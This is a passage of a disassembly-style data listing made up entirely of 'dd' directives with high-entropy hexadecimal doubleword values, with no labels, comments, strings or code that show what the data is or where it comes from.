dd 5761C80h, 0E6803802h, 1A44C092h, 0BE0599DCh, 26953EB5h dd 0E8DB1F83h, 10F3257h, 1360602h, 0D42D6ACDh, 2F005B6Fh dd 6211A72Eh, 0EEC781F7h, 1C57E8Ah, 25D0DC1Eh, 0E430181Ah dd 0B47C1421h, 12BA4E00h, 0DFDE822Bh, 65892C68h, 0BBD500EAh dd 0F7162027h, 12B1BA04h, 21804A1Bh, 74DC8CCh, 2668549h dd 7DFEB007h, 55EE3458h, 0DB5E7900h, 0E5C2CFF1h, 92F70096h dd 0EA7F41B9h, 0A7BC867h, 61D01502h, 4069EE6Bh, 213658h dd 357F66ADh, 68C5807Dh, 0C8105000h, 915CCE84h, 0FD9D0051h dd 309FD054h, 1D00A1A0h, 0CFF2F597h, 0E919B99h, 0AB2F56EBh dd 8E51241h, 35488005h, 0F0677370h, 7210C0B6h, 1FF37865h dd 5BDF4800h, 911EC185h, 0F1DD387Ah, 80C3ED00h, 0AA1084Fh dd 80F34590h, 22845038h, 73DF49Dh, 4E37606Fh, 0A07406E1h dd 603277Ch, 2CB5DBF9h, 94E9A00Fh, 0D80E0079h, 0C7ADE8B8h dd 65E64EA2h dd 0FE00747Eh, 280BA098h, 6A8A1Eh, 0F92C0D99h, 0D15658E4h dd 851F1C00h, 0FF19D232h, 0B1E50064h, 66821161h, 3EF671A4h dd 2FEAB500h, 0BDEC97D9h, 27EEB1h, 3B053B8h, 1A68041Dh dd 0C3560200h, 39D0F671h, 45AD00A9h, 0CCC039Ah, 2B70991Ch dd 50B1D0EDh, 0ED9FC60Fh, 612487E2h, 7DDFE170h, 924200F8h dd 0D9052227h, 0D1CF0B4h, 0CE00F768h, 0A3332941h, 0AF57005Ah dd 9EC7C353h, 41DEA9Dh, 0DB003C69h, 65A45B07h, 0AAE50101h dd 5EEA7BFh, 67EC474Bh, 297580FAh, 0A8006CA5h, 0E1E71153h dd 4847C7h, 0E93E49B6h, 0DA780C27h, 0D6DBB500h, 38672FACh dd 34690176h, 9EDBFB0h, 1ADDE468h, 53C33200h, 0EE07E30h dd 4C6F0025h, 0E6FBA092h, 5D0090FDh, 0A5604926h, 0FE20FCFh dd 0B56222A3h, 3085C6C0h, 0F1007908h, 49E56EDh, 0EA7C2A47h dd 3F6701E7h, 3AD7F325h, 5E42609Dh, 6A6D1700h, 9C4787D1h dd 6F5C09ACh, 0EE00C505h, 2D7609B7h, 7C9F6600h, 0FEE4CF04h dd 87412447h, 43E60018h, 2B1CB0F8h, 0D0FB2C00h, 19C03AC2h dd 6E8D3ABDh, 0A4B13B04h, 0C80083DBh, 0E10DA981h, 0C01080DFh dd 0EDAE869Ch, 1BCC0034h, 59036488h, 0A124BF8Bh, 6600CF30h dd 246EB444h, 0A5B53F15h, 59E5DD00h, 8DD7F7C7h, 9631EA00h dd 0FC057767h, 57B100BCh, 0B65D4A5Bh, 0FF005286h, 0E62239CCh dd 0E7E890Eh, 3FC65C28h, 0DA27C7E0h, 0AE00E9D3h, 20225EF1h dd 48C386Bh, 0A2F9CDACh, 0FF8CC046h, 2D240B1Bh, 80000C6Eh dd 0DC337845h, 0D33800FEh, 0CB57F78Dh, 1E00C9CEh, 6EF0BF87h dd 3493A8Fh, 24D350A9h, 99B056DBh, 784C6FAAh, 85D00057h dd 0F9C393CEh, 0B5F60020h, 264A8F95h, 0B30135EBh, 151A1D60h dd 0C0E4ECC9h, 0FF2D005Fh, 21200137h, 4A1C0F53h, 9340B5BCh dd 65285879h, 6E031216h, 6A1C01C2h, 1826F83Ch, 2E8700C4h dd 201F4D2Bh, 0AA7878D0h, 383B2C00h, 946A399h, 2DE40027h dd 0F02A84AFh, 0F20A0CACh, 0D8E88C2Bh, 0B648D00Ch, 30DC0083h dd 50743829h, 527D3A47h, 193D5A09h, 1C4001BFh, 63FC1346h dd 745007Ah, 362B3465h, 4B7ADFEFh, 254D0600h, 24E78530h dd 0E9A20063h, 0D48BE510h, 26983CB1h, 73DD9500h, 0D3D26618h dd 0E71007ABh, 0B0DF30BDh, 7BA8A5E0h, 0F3529300h, 23478638h dd 4D4600B6h, 0CB18B0A4h, 6E2602DAh, 4500D2EEh, 56BA9C0h dd 0D3143CBEh, 0BC63DF80h, 9EDAB954h, 1A3DF0B0h, 55DB83E6h dd 0D8E1652Ch, 61E285h, 0CA7F54A9h, 2F25564Ch, 0E3260B00h dd 0DD8C9E6Fh, 6540079Fh, 8076BF5Fh, 0C427D688h, 0B300C3F2h dd 0CCA89337h, 791B45F9h, 0F12D00AEh, 58ECDC0Eh, 2E0061A9h dd 32D71574h, 0D47D9h, 9210FC82h, 6A6B1B2h, 0E80A2900h dd 0F3CB2B45h, 411B3AD5h, 0C498EA00h, 0D7C57D80h, 148C7000h dd 107C3478h, 0F5333FABh, 0C0A68A96h, 0F3B5F231h, 92838903h dd 0DADA9C70h, 9EE88075h, 74D4F1Bh, 0B829A652h, 0D2CCF0A4h dd 0D30F90ECh, 6061F56Fh, 0DE5270A9h, 0FA9A12C0h, 0E9FC0E86h dd 0ECF42223h, 518A5C0h, 0B5052B7Ch, 960FB7B8h, 4035608Ch dd 7B00A05Ah, 240B41FFh, 600782C4h, 0EDBB1845h, 0F4007114h dd 3AB3086h, 34554Bh, 0AE64AA90h, 0DBA3F1DEh, 0A494C63h dd 45290FBh, 3E300087h, 0EAEE68BEh, 5E003279h, 0E4742254h dd 0D83D26h, 69FF5A11h, 0E4EC8BFh, 38D73500h, 31F75CC1h dd 0E9100367h, 0EAA88DD0h, 0B1550BA0h, 8601FFEEh, 4F73943h dd 0A8209D20h, 56709Fh, 0CB64F488h, 0FE921C07h, 0A439B000h dd 94912870h, 8AFCF9h, 2B08CCAEh, 0B5AB482Eh, 0DBD89E00h dd 0A74203CAh, 1E3DE8EBh, 80362429h, 4C5DFA5Fh, 82008011h dd 1DC302Bh, 431849h, 0FBB5D33Eh, 0DE3B146Fh, 292F5E01h dd 5789AA91h, 510424h, 668B4052h, 0D6C75C93h, 64F63303h dd 0E0C5B0D0h, 166F7C12h, 6C947h, 22A7A090h, 8D019524h dd 722A5790h, 4C7127FEh, 3D5EAF20h, 82CC2E21h, 0F8BDCC1Dh dd 7D3DA007h, 0AA0D80B4h, 0F5071BFEh, 36EF09F0h, 351867B0h dd 372D1C34h, 89414F17h, 0EA9FCD60h, 0ACA0D1C7h, 0CF17FB9Ah dd 0C040E0DDh, 42B41F48h, 0D4B8243Eh, 38790044h, 833F9687h dd 0DFAF6216h, 8AB14400h, 0E19E36h, 5F55087Eh, 5CB86AEh dd 6FF4E700h, 0AFD52D83h, 345407CCh, 870B5A1Ch, 0C995308Eh dd 0A075352h, 6AEFDB1h, 2E289680h, 0BE704Ah, 24E9CA2Ch dd 0D9BAC7E2h, 588E5D13h, 0C2AED000h, 80D70497h, 29F21A03h dd 40912507h, 1B84BA98h, 4CB0E7C0h, 245002Ah, 6610E19Ch dd 4A3ECF3Eh, 639380DAh, 90B6D95Ch, 83E40085h, 81B53265h dd 4450C466h, 4D011AF4h, 98202511h, 845063CAh, 39CB0605h dd 0C4875085h, 73937F23h, 2102B35Bh, 6E95F2D5h, 3BA48076h dd 0F5F413h, 366F749Ah, 3CF6DF11h, 7D09B6B0h, 80ABA9D0h dd 0BD705F6Ch, 0F9A439B2h, 0E1DB3E8Bh, 78861890h, 87305000h dd 354481A0h, 6F890717h, 705CCABBh, 953CB2Ch, 8B1EAE1Ch dd 0CCA94740h, 250C041h, 5D6D6A03h, 0F480AAC8h, 0F48A3519h dd 2F7C2800h, 8868B3FFh, 56A300C4h, 0B84FA0B5h, 0F3004422h dd 0FD4EC3D0h, 48BE3898h, 55004004h, 69339DD2h, 4A00F56Bh dd 0C143DB0Fh, 0BD97D1h, 0DF5E0E74h, 3037D8EBh, 0CC3B4801h dd 2F5916F3h, 75B0FCh, 0CD699FACh, 0A9DF8E70h, 5A800478h dd 0BA1DF2EEh, 0E460454h, 0C06EC6D2h, 3ECB0F8Ch, 0DC8A0602h dd 40F0F10Ah, 707E178h, 99AA3CDEh, 953B8085h, 4400CE83h dd 48EC28DCh, 5A6D2Bh, 57FF6C7Eh, 4512D0Fh, 0E924CB00h dd 68C58AC6h, 5F1302BBh, 9DEE7877h, 0B35204C0h, 0D450EF00h dd 15972725h, 0DE5807DCh, 0F324F9FEh, 55981939h, 0BD00D246h dd 0F415D643h, 98698770h, 92B60F2Ch, 9EC0F91Bh, 1729F833h dd 0CAEBD000h, 93128DADh, 0D44043Bh, 0C7754F28h, 1D090071h dd 0F6000302h, 8A2D23B7h, 0E6427B3h, 13B51115h, 0AC00F4ABh dd 0AC263CB9h, 1B000CFCh, 695E034Eh, 0C99615h, 4D29175Ch dd 325DB9CDh, 3311A500h, 0EE43521Dh, 1EB024EFh, 40D31FAFh dd 73C765BFh, 4903DF3Fh, 137582DEh, 33318907h, 0A906CE8h dd 49F8750h, 3C0E0294h, 4CE81B42h, 52E5A9Dh, 0FB8238DEh dd 81EAA4D5h, 8422CDB8h, 0A1CCC0C6h, 50D21E12h, 42F837Dh dd 0E8002352h, 4772EFC5h, 12049EBh, 8B7BF6C0h, 609D5BE7h dd 2258465Ch, 0A818924Ch, 0BECF380h, 7B1F07DBh, 0BCE40080h dd 0D6026093h, 1525F570h, 6510C86Eh, 0BA720738h, 20DA32F6h dd 9B79E437h, 0B0214B60h, 24297111h, 8081D7h, 0E5BE0EDDh dd 0B702CE66h, 90861E14h, 8F40C142h, 4CFD77F0h, 7D014C30h dd 6A6D54AAh, 0E7F2C85Bh, 0F631D100h, 79D5326Bh, 0B62B00E0h dd 9796547Fh, 0F80086DCh, 0B7FE9E49h, 1B68F4C2h, 0D00556BDh dd 151A4FF0h, 0B900F4BBh, 1CA691A9h, 3D3AFEDCh, 0D2A4CA0Eh dd 609D04BCh, 0AA30D1BAh, 0CF7FE8B1h, 0C9879E4h, 0C9FC2A01h dd 88F5231Eh, 12F8C8F9h, 1F3D7013h, 8091BE47h, 4434FD89h dd 9A00D8CCh, 0F69867F0h, 0BCF5B9h, 0E0C3E79Ch, 13273728h dd 475A431Bh, 228BA1A8h, 83FBD8h, 0A7DAC6DDh, 0E4BED9EAh dd 0ABF4FE00h, 0A5062711h, 57B500E0h, 25974B4Ah, 4C4CC36Ah dd 0EE92006Ch, 14620267h, 0A712Dh, 16C4ADDh, 8332075Bh dd 6410EB00h, 771EBD28h, 0BA5102B6h, 0E7ADED15h, 0F4F05849h dd 0EC4C2CA3h, 86DF1293h dd 6941B401h, 0D874ADAFh, 5B2213DCh, 6618006Dh, 14F70E8Bh dd 8FD79202h, 665DD265h, 0D4CF00CCh, 4DC42571h, 0DE0F749Fh dd 0E07ADD13h, 0F5E0B1B3h, 24A507B2h, 50C62A47h, 79F92215h dd 0FF1AAF16h, 806BD00Eh, 9B1BD75h, 9D2D2448h, 0CD60017Ch dd 209ABB91h, 0FE000C64h, 0E89C6180h, 0E4ED2CAFh, 9CAEE35h dd 0A0EE82D7h, 0D48B8180h, 0C200CEB5h, 4E3ABB6h, 784C1E9h dd 1E7DACD5h, 57C3071h, 6858A32Dh, 3C452692h, 3FA8A403h dd 989088C4h, 88C20020h, 7E3476C5h, 0AC0011EFh, 4D01F12Eh dd 6B5763h, 0D01415BDh, 0E7CB2D08h, 0CEF9A503h, 943DB921h dd 0A3A99CC0h, 91DFA7Eh, 0E18FD161h, 4D0158C5h, 0C51599A0h dd 0F1731080h, 79ED2987h, 60104300h, 14812A58h, 786CF176h dd 0FA0EB2Ch, 5720B646h, 0E212E9EFh, 2816E100h, 446CDC62h dd 0FA5301F1h, 7026D1Ch, 0B1A92059h, 4E2B4500h, 0E1A82ACAh dd 0F67B0680h, 0C8BE196Ch, 0E335C800h, 249BB317h, 0CA1500EAh dd 50B56D04h, 7D004211h, 0DFC4BFB6h, 8F87BCh, 0F3EE0E62h dd 0A87E5CE3h, 167F0703h, 0C08A55AFh, 0E6644D6h, 213191CFh dd 107257EEh, 251E9BBCh, 0A022C009h, 0C4C96430h, 8D37A900h dd 0C2D6DC45h, 3D9300E2h, 84D035FDh, 9002E25h, 0F25C8650h dd 522158h, 96AC767Fh, 9DDA8004h, 323C4498h, 1DBFC6h, 59D8ED21h dd 5ACA7ECh, 0F0FA393Ah, 0C280008Bh, 42657427h, 0FFB10405h dd 0A8200E34h, 1C2E0Ch, 0A070AFF2h, 834D9A2Fh, 6BB8C060h dd 222FBB3h, 0C258F8D7h, 0F440CFF1h, 830EE696h, 0A1806019h dd 0B38C5AADh, 9B3CF8h, 0B75189B5h, 0D3E84730h, 0BEA19600h dd 45651042h, 0D458C1DBh, 30D7A87Ah, 0C727144h, 86419400h dd 671ADDEEh, 0F10B1630h, 6CA40098h, 137FD4ECh, 2533581Eh dd 7CA4B100h, 1DB79E3h, 0E8E557C7h, 80A6CB8Dh, 41166230h dd 9CE32BD0h, 0BD48001Ch, 397127BBh, 0A695C000h, 94EF66CDh dd 2B5604B6h, 0C067998Eh, 523240DCh, 84C2612Ch, 7200231Dh dd 3D7150A4h, 0AE85013Ah, 665935E7h, 5AE2006h, 78074000h dd 0BF6CC42Eh, 60B00079h, 8F9AEE77h, 200C0DCh, 0B4564192h dd 4CC40B1Bh, 0A2048828h, 0DC1DA309h, 303FE6DCh, 0A0E78301h dd 0B8D3FDB3h, 2EAF10BDh, 4F42C5Eh, 80BA534Eh, 16089588h dd 9821FB2Ch, 75876602h, 0D07837h, 98B704EAh, 5CFC3C23h dd 0E1CD9205h, 84D00EC8h, 1E7A8h, 4EDAB63Ah, 6DA6DE10h dd 0F7C58000h, 363B1E49h, 9C4F00B9h, 23A29798h, 0B3038446h dd 8AD0FA2Bh, 44DE900Eh, 0CCE009h, 0F28B9D28h, 9FE89055h dd 9C66303Dh, 734EA07Bh, 7C9BC04Ah, 0B43C33h, 55FA1A8Ch dd 0E8ACDB78h, 0A4C6E61Fh, 67F43787h, 3C38C029h, 0D8D7004Fh dd 704C4327h, 9D723045h, 2034501Dh, 12803880h, 0EF985DDh dd 70F6FA1Ch, 2AF87120h, 8400AB93h, 240FCFF0h, 4D0D95D7h dd 0B00034E4h, 0EC918188h, 0F0C00E86h, 0E00C9B1Bh, 0DFAF00DEh dd 5AB5D74Ch, 1501BBA3h, 1CBC3633h, 4C34E385h, 90DAFEFCh dd 7374E60h, 60F817F0h, 92B3B1Bh, 0EAE64200h, 1D4BC850h dd 2A6D01CCh, 1FF46BE9h, 307EC31h, 24880400h, 0C44BBBDCh dd 0B5CF1389h, 5EF8C153h, 0ECDFE0FEh, 0A6ED6539h, 2518173Eh dd 2EE047Ch, 0F2CCA78Bh, 0C5E0A146h, 6C02DEBCh, 99DB55BDh dd 0E03C6360h, 40BB1B0Bh, 0D3005123h, 6F75ED82h, 0A9D99Ch dd 7C0C3533h, 0C840A173h, 0DE0B2903h, 0E89470ACh, 0A07805BBh dd 0FE8B983h, 6BDDE322h, 2980D96Fh, 4C892520h, 7E1E3C98h dd 0E0602A97h, 14BCE0A0h, 8CA85CB9h, 48A3B681h, 878A3055h dd 5407CE2Eh, 3EF3BF50h, 5D859AA2h, 0E1879F4Fh, 646AAA9Ch dd 6F018D01h, 0AF507706h, 33ECDC8h, 8F0AAC13h, 75B86E9Bh dd 0B11FBC3Bh, 7216FF7Dh, 655E9400h, 7B6C99AEh, 91780618h dd 11E6DAA2h, 0E74B2A06h, 30342D70h, 734003EEh, 8D00E911h dd 0CE6D195h, 9439A6h, 7167ACA5h, 0FC1F35Ah, 3BE470FFh dd 3CCA1A02h, 60E7CD55h, 9C6B4C69h, 0ACB50078h, 343DB29Ch dd 0AA80100h, 8BE80630h, 0D017009Bh, 8C7C3726h, 0A3001CA5h dd 583CA780h, 97C913h, 0AAF7EADAh, 2583CD69h, 0D2E8A900h dd 43CBA505h, 0E58C00C1h, 940A1E8Dh, 4D0011EEh, 7CA15B38h dd 405D0Bh, 0C027D9DFh, 0EC573F85h, 17D0610Fh, 5C02DCB5h dd 60774BEAh, 83E700h, 169BBDB7h, 334455E5h, 44DD1D2Eh dd 6A1CF200h, 16D648Eh, 94BC5738h, 301F291Eh, 5160D6D0h dd 0E50EF429h, 0B08103E7h, 0D8BEB6FFh, 55620388h, 4609400h dd 0BD6E0CC1h, 0EF7226A0h, 0D42C0Ch, 9C1C622Ah, 2F4E57DAh dd 525EC801h, 889D546h, 0E0406C7Ch, 53E8D23Bh, 9E3CDE00h dd 93EB5FE7h, 0B8E0063h, 0D1FEB226h, 0A70E69C5h, 208172Ah dd 7F84C829h, 0A83E3AE0h, 0BEF83Ch, 0BAC16A55h, 24FD2A3h dd 6432302Bh, 80C026D1h, 2907F493h, 80DB8F57h, 0F868F6A0h dd 0C1220030h, 516D4BC0h, 0CA00D5B9h, 0E50FE1A6h, 3ACF396h dd 0E415F931h, 70F75F0Bh, 2B86A33Dh, 605EC612h, 808B644Fh dd 0B2AF6B67h, 5AFBF0C8h, 0B76C0044h, 6D88296h, 9C68940Fh dd 0C118B8D2h, 0ACAB17EDh, 58430039h, 974A512Fh, 0D3CDD05h dd 28C05310h, 0E0A52E89h, 166400F6h, 584B2DB2h, 6100342Ch dd 72F07E5Fh, 3DBEA2DFh, 0D001F5Dh, 0EDE12318h, 0ED90FA38h dd 54B7C400h, 56B0CE29h, 67DC019Ch, 30959019h, 1BA1EC11h dd 0AB4DB21Fh, 3A21F14h, 99D7DDFBh, 0F798DBC4h, 0B47C81BFh dd 0B0F46D0Bh, 23F30C0Ch, 0A780A153h, 5BC38A00h, 982BF463h dd 6F50C075h, 541C0F56h, 1D4D100h, 8BA29D47h, 0A7FB00CBh dd 87404892h, 50006357h, 67CC74C5h, 7C229Fh, 4E66E42Bh dd 9225E91Fh, 4BEC00F9h, 0A57700CBh, 0E33F61E0h, 0BF00396Fh dd 0CF0A9CFBh, 7DD2909Dh, 45473092h, 35FEBE98h, 953E0407h dd 0CB50641Ah, 0B5F6DFh, 485C152Eh, 0CED4631Dh, 7E9C2B00h dd 4F3723ADh, 0D8C50036h, 0B1F0C5Ch, 4B7DD3A8h, 850E140Fh dd 864420E9h, 0E0DAF0C4h, 83810009h, 4E844D46h, 1E28E045h dd 0D500D47Ah, 475E95A0h, 12666Eh, 0A5FD717Ch, 0D28448EEh dd 0E31F8C01h, 13300704h, 30DCC70h, 0FC775FDFh, 0FFC05957h dd 8F0735F9h, 7CC1BB1Fh, 0A1533E0h, 0BF231E76h, 13390088h dd 2B4BDF59h, 5DB0F200h, 0C151D1D6h, 90787870h, 9E7D10h dd 80EBDF20h, 0BD43D7D9h, 0B2640800h, 6F42012Eh, 0D48C00F7h dd 902154C8h, 0DD0067DBh, 77936CBEh, 66A889h, 0FD607405h dd 0A94B28FEh, 0F94D6F00h, 0C68565B8h, 0B6E602F5h, 512372BDh dd 0E05FFF80h, 0D04AA87h, 64664AAFh, 0CE083DC0h, 0F5C700FFh dd 0DCC4C158h, 4BB0DBB0h, 0FD058900h, 0B6F64DF2h, 357FA3Bh dd 0C9DD3709h, 10003CECh, 0FA7C85DBh, 97F8D7h, 0F05DF977h dd 9DB3089Bh, 0D380E400h, 0AFF450FBh, 7C90162h, 0FCF60CD8h dd 4512095h, 0EDAEF100h, 96CBBA74h, 0D1690033h, 35B7C0DFh dd 540078FAh, 6B25D2F3h, 0E7EEA9h, 0FF4CC6BAh, 724EB3B7h dd 7DC3E00h, 1302390Dh, 0B5C30074h, 0EED11D1Ah, 0C9001C4Bh dd 57809531h, 480F7397h, 0AF079E63h, 0E0611A25h, 2E72AD8h dd 8B007877h, 9F067CB0h, 1555C1Eh, 470A6B3Dh, 80FEEC46h dd 0D2BB32D8h, 7F92615Bh, 162E0E17h, 3BE09901h, 6DC9FB30h dd 8D87CA00h, 27B4952Fh, 1FC71CA3h, 5D9C803Dh, 104F5224h dd 0C3E498C0h dd 0A0686DBFh, 4671DCDCh, 96920079h, 0D7FBD917h, 0B89F1F8Fh dd 51040EAh, 76F078E3h, 80F85200h, 829355B5h, 859817h dd 0E2AD23B3h, 0C53C0CDDh, 0F152FE00h, 321529A5h, 0DA9820h dd 0B504BADFh, 0AB19B1F8h, 5ECAFA00h, 2F3F199h, 3A37041h dd 0F94AE583h, 76B01768h, 57FEB85h, 79906302h, 0E0592127h dd 945045h, 7296E0B2h, 1F0A403h, 0B671A271h, 3A36A000h dd 29D1877h, 323D4816h, 0C700B33Bh, 0AEA19E90h, 0F02D0AB8h dd 615E99h, 73BABB9Dh, 4500CF0Dh, 0AB29FC1Dh, 0D1F057h dd 0B766160Ch, 0BC4D85DCh, 581C911Eh, 5AE00440h, 163ADDEh dd 0B6E2B483h, 806877B2h, 7C060DC0h, 0EED0A0h, 203CFE05h dd 796BBFF5h, 3E3F0C00h, 0F9E07B99h, 6149002Eh, 2075F27Dh dd 6D3AD7DBh, 21D842h, 0A0B73097h, 2E326Bh, 8946F433h dd 0DCB3618Dh, 0F1B4E03h, 0B8FB12A4h, 12132202h, 1C9ACB14h dd 8069C048h, 0A61DF4E7h, 41363000h, 0E40FAE10h, 54F00E21h dd 367EE25h, 30DA60EDh, 3A00132Dh, 0E543E182h, 1FFCF3Eh dd 0AF57D592h, 60D6AD6Bh, 8000F398h, 0DDFD50B1h, 15C3D26h dd 3B7B9FD9h, 0E4CECF1Ch, 0B700DB24h, 18D7FD29h, 1C0CA425h dd 0C7BA50C5h, 607ACD47h, 0D4C80236h, 3745AD00h, 0FA5A0407h dd 802401DBh, 0ACE4753Ch, 7FB6FC9Ah, 21FCFF00h, 0B4CEDE1Ch dd 0E36600AAh, 0B589D21Ah, 0AC00166Eh, 3EDC627Ch, 0E08C68A6h dd 0BD7E008Ah, 7B564288h, 0FC4878EAh, 0EDCE00A4h, 0F90DA101h dd 65B0D4h, 78D60824h, 2FE28B41h, 4D357B0Eh, 519E2047h dd 392333h, 93A3B345h, 0C227F6C0h, 1A824800h, 25C515A1h dd 7021303Fh, 4F9F761h, 0D80AA402h, 4015A58Eh, 0C8B5BF4h dd 6DA6F3F5h, 396F5110h, 1350F30h, 1C3FA4ACh, 3D8329E0h dd 1B874D3Dh, 20B7A82Dh, 4006756Eh, 0A7AD6210h, 45DF9F00h dd 8D225F77h, 37A9F1A0h, 92E15403h, 5073C66Ch, 38FF6420h dd 5D89252Bh, 90A240BBh, 0E67CC52Dh, 3AA41B3Ch, 620CFA8h dd 0FDB9BE6h, 5EB55648h, 400A2DE0h, 0BF008B64h, 0E20557FEh dd 609C0Ch, 4F2426EEh, 71309AC4h, 0E5792100h, 22948D77h dd 0BEA800DAh, 546D8C60h, 1A7C6A96h, 998B1800h, 27ADC7Dh dd 0CC5A3E87h, 1234A80Bh, 7E93AB00h, 210064E4h, 0CBD04869h dd 0E8ECBDh, 0F8F1265Ah, 568F8375h, 3A0BB100h, 1C6734A9h dd 9A3100F6h, 0ADB28E70h, 0AF0083ECh, 0BF7FE529h, 0B4C8BCh dd 81B8E2C3h, 0B1F0CD25h, 26A81E00h, 4C7261FCh, 91DCA855h dd 903C5038h, 0C1AE3074h, 10DBD7F0h, 46F29F00h, 214AF38Ch dd 27E72CADh, 18741326h, 1107299Bh, 40457E88h, 2644DB4Bh dd 33C544E8h, 0F92728A0h, 42AF29C8h, 1F24CA52h, 48DC3823h dd 0CCA842A3h, 8147CB24h, 0C314E09Bh, 0E200BDDFh, 0BB8C5DB1h dd 0EB8EFCh, 0BC45A204h, 0C527B98Ah, 0ACC87D00h, 0DE49A4A3h dd 55650E18h, 0D4E0F447h, 3A7D17C2h, 9FF7900h, 8904324Fh dd 48BD0FD3h, 0A587BBDFh, 0C01F2F46h, 0F19A95AAh, 7A00E455h dd 0C2B5EFCCh, 45FD0Ah, 9E767C2Ah, 49CBE386h, 1E7C2B71h dd 0D978D2F4h, 0E0C8AB00h, 514F8838h, 37F700A1h, 6B31941h dd 0E90E78F2h, 602C1A04h, 1C20EF2Eh, 0A861E6A2h, 89DAD8h dd 0FA8A4877h, 0B06C7CFDh, 60AE1D00h, 522D7819h, 2C30074Ah dd 0E0EE518Ch, 25502927h, 55185B00h, 65E68E21h, 0ED091DE1h dd 900F58FCh, 10010A51h, 21EBB3D7h, 0D8FFC31Fh, 0A5FC5Bh dd 77A6DA4Ch, 4EC5E9FBh, 0F2ACA701h, 0A23749Bh, 0A3E4D4h dd 15EF4AA1h, 0E64C9D2Dh, 8080603Ch, 347394D0h, 38F052B3h dd 118003F7h, 352B0D21h, 2307A8C7h, 1F2C80B5h, 15AE3B40h dd 7A5E2E58h, 2D20074h, 1080F754h, 12718400h, 0AE0873B7h dd 5FEE68h, 8891DE69h, 40223843h, 0B18248h, 21A3C211h dd 2ED4F6EBh, 1FB93B3Dh, 45818149h, 0F899658Eh, 26718751h dd 0D17AB9FCh, 5677F100h, 9814C813h, 0B1702460h, 2490000Eh dd 3A84BF7Ch, 0ECF54E00h, 60FB4745h, 0E4A175Bh, 6FE00E30h dd 85863184h, 8A5F800Ch, 0CD1D7A4Bh, 4880CBB3h, 42E1DD4Ah dd 261B00A6h, 32EB5B9h, 0DE0012D6h, 0C655E7FEh, 15089ECh dd 0EAC8C9E0h, 0C8C7E127h, 0B3006219h, 0D63F315Bh, 0B7B633h dd 0CF850A97h, 526EAE05h, 0E015FE00h, 0BE3AC0DAh, 5C890054h dd 4BE80F17h, 9C0E30EBh, 0A3E34902h, 0F00652C2h, 7A1CE21Eh dd 543807B4h, 9DD7226h, 0C5F1CD80h, 0ED000FDFh, 0A89230A9h dd 17F5B1Eh, 0A2AE3CD5h, 0F0E948BEh, 347691D4h, 0BA172614h dd 18007898h, 82C1B2C4h, 7CE4ACECh, 9890042h, 78DF84FFh dd 4EFE981Bh, 6365162Ch, 0B3AD800Ah, 60F7A720h, 12169FF5h dd 3307A67Bh, 0BE0710Fh, 3D54A5h, 148C423Fh, 94813095h dd 0C7323C0Eh, 0D0FAE567h, 5D4DD280h, 311600A5h, 8890D6C9h dd 0E5077B2Ah, 0B192BE1h, 8A29C430h, 0B0410084h, 21FE13AEh dd 3D00D5A9h, 42E332F8h, 71ACDF4h, 0E9BD6C25h, 0FCE3FECh dd 521C2300h, 0C4000551h, 80780102h, 4CF31h, 40795B42h dd 7CFA0A41h, 6768A300h, 2A66CAFh, 0C6471CEEh, 91360BB8h dd 0DA98BB00h, 0AE904DF4h, 30AF050Fh, 0FAE1017Dh, 80E08183h dd 76410EC6h, 0E5675475h, 942100F9h, 0FA1D7ED4h, 8473BF2h dd 0ABE0CFCEh, 7DC34h, 8F79E928h, 5F2D4C95h, 0D2A4B505h dd 1420C8E1h, 50712259h, 7B3CCC9h, 0B83E690h, 0EE4400AAh dd 0A071208h, 5E2EAFD7h, 36B8DB10h, 0B05F0F59h, 0C980A46Bh dd 777CDED8h, 0CA0E1900h, 328FABF9h, 5230082h, 34C7C979h dd 0E8FE12E2h, 7FA0A400h, 661F9D67h, 73F03F6h, 0FAC3205h dd 0CABE561Dh, 0A2978A40h, 0E0A6644h, 192A5DF3h, 858DE040h dd 1200B817h, 0F6079D28h, 3C5CDEh, 2D35B04Eh, 0B84961CAh dd 11D37300h, 29A95EE5h, 0AED51FE4h, 68DF005Fh, 2FD9576Eh dd 0A500EC75h, 9A34A07Bh, 65A6D2h, 0E2F14854h, 0C105196Dh dd 73F3BC00h, 10FA7CC4h, 0A7242511h, 5607CA5Ch, 0D1A669BBh dd 5CD302DCh, 3EF15055h, 0EA9C8440h, 35966D00h, 0CC2A5117h dd 7B890F1Bh, 632FA8FFh, 3B858380h, 23005F45h, 6D131D8Dh dd 1327C1CAh, 0F6FD20h, 11D72B40h, 7D02EFAFh, 72F629Bh dd 0B5F84801h, 8366004Eh, 3A542209h, 0B0002771h, 438AFD69h dd 26E88D4Fh, 0C4F88D3h, 9F1174BFh, 0D76BC400h, 53720286h dd 0F36E0CB3h, 2521BB06h, 0E7052200h, 134FD208h, 0A1E60BCAh dd 6E806631h, 0FF3A596Fh, 6932E300h, 0DB4AB141h, 0A478E7h dd 0F5A31078h, 0E80B08AFh, 0D90BC00h, 7FB65A68h, 0C95D1DEFh dd 0FE090431h, 6F1FC0DDh, 0E3DC3D2h, 0C202007Eh, 9690B15Dh dd 30261F92h, 0C0169F79h, 0F737016Ch, 0F13C99B2h, 0FF7709D5h dd 493C0038h, 4D80C64h, 0CCC5CEC7h, 0CBF4C0B4h, 0F60473EDh dd 36FBCF03h, 1601E085h, 86F3937Fh, 0CE3C1084h, 0CFF4807Eh dd 2CB044BAh, 6DB4681Dh, 0A0188898h, 0CD0818D0h, 0F127306Bh dd 227EA61Ch, 0FF04503h, 1480D596h, 7DC27632h, 0BB5300BCh dd 10468042h, 0AA07CE51h, 2D3C78Dh, 52E6A8D0h, 1571D35h dd 0FC4207B4h, 0B0F1379Fh, 69C9FF23h, 63CC3005h, 0B4001A21h dd 1DE0928Fh, 0F0BF008Ah, 0EDC6B358h, 0C400ACCAh, 0DFA42D55h dd 11980DAh, 0FA3F6217h, 22308B29h, 86150088h, 0D8F0EB8h dd 4ACD00B9h, 0FEE6B1AFh, 3417513Bh, 0CD009C73h, 5CD26C29h dd 3DB890F5h, 0C9835990h dd 0B3BA2DF6h, 0D543E3F8h, 123D1C13h, 4247300h, 7AA4FC54h dd 91810310h, 0F9F6AB26h, 0F30E58C0h, 74E72400h, 61750CFDh dd 3938010Fh, 0DB371FC0h, 0BEAEEC58h, 868AD507h, 62E78864h dd 3E07006Bh, 18FA4EDEh, 0A0F1D20Fh, 3B003FC9h, 1E14E281h dd 66DC3h, 0AD4AA5F9h, 13B985C7h, 0BE5CC41Eh, 0B05A528Ah dd 0AE037109h, 61676028h, 7F0FF342h, 93DD0078h, 0BBAA9153h dd 0E2265808h, 83402C50h, 5E8043h, 0C5F3C85Bh, 5F10348Ch dd 829F115h, 805900B0h, 